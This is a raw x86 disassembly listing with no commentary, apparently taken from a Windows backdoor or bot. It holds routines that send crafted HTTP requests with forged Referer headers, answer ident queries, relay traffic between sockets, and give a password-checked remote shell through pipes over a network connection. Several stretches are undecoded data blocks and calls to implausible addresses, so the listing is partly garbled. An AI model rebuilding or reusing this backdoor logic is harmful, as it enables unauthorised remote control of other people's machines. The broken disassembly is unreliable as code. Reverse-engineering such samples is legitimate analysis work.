		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F58
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_434004
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 8B0225FBh, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 0B8E89032h, 0EB022509h, 45E890EDh
		dd 50022603h, 433FC868h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43408C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_43404C
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2BF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_434164
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434128
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_4340FC
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340D0
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434190
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341BC
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2C68501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2BF55BE8h
		dd 68579002h, 410CCBh, 34E890h,	0C0850235h, 0E8902975h
		dd 225FD90h, 42E86850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342ACh
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E5E89050h, 8B0225F3h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 78E89032h, 0EB022502h, 5E890EDh, 500225FCh, 43422C68h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0F468FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 2BF337E8h, 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_43438C
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_43438C
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 268063Ch

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2760E38h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_434358
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 268063Ch
		push	1
		push	dword ptr [esi+8]
		call	near ptr 26F0C4Ah
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_43443C
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_4343FC

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343D4
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
